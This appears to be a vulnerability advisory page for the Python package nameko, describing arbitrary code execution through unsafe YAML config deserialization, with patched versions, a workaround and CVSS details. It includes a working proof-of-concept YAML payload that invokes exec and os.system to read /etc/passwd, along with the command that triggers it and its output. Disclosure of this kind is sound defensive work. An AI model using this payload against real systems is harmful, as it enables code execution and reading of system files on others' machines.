Critical

Nameko Arbitrary code execution due to YAML deserialization

Disclosed: 19.10.2021
Updated: 11.10.2026 13:19

Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

yaml

# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

bash

$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...

Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

Affected software

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Platform	Package	Vulnerable versions	Fixed in
Python (PyPI)	nameko	< 2.14.0, >= 3.0.0rc0, < 3.0.0rc10	2.14.0, 3.0.0rc10

References

CVSS score 8.6/10

CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness (CWE): CWE-502
Platform: Python (PyPI)
Package: nameko
Disclosed: 19.10.2021
Updated: 11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2021-383 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6p52-jr3q-c94g - CC BY 4.0

Vulnerability history: nameko

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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